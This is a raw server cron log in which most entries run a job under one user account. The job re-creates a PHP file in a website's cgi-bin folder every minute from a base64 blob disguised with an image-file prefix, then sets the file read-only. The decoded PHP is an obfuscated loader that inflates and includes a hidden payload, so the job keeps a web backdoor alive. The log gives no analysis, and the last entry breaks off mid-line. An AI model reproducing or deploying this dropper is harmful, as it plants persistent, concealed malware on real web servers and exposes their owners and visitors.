Nov 13 23:36:01 server CROND[22446]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:37:01 server CROND[23298]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:38:01 server CROND[24156]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:39:01 server CROND[24955]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:39:01 server CROND[24956]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 23:40:01 server CROND[25477]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 23:40:01 server CROND[25478]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 23:40:01 server CROND[25480]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 23:40:01 server CROND[25479]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:41:01 server CROND[26391]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:42:01 server CROND[27311]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 23:42:01 server CROND[27313]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:43:01 server CROND[28147]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:44:01 server CROND[29073]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:45:01 server CROND[29821]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:45:01 server CROND[29822]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 23:45:01 server CROND[29823]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 23:46:01 server CROND[30673]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:47:01 server CROND[31790]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:48:01 server CROND[32638]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:49:01 server CROND[956]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 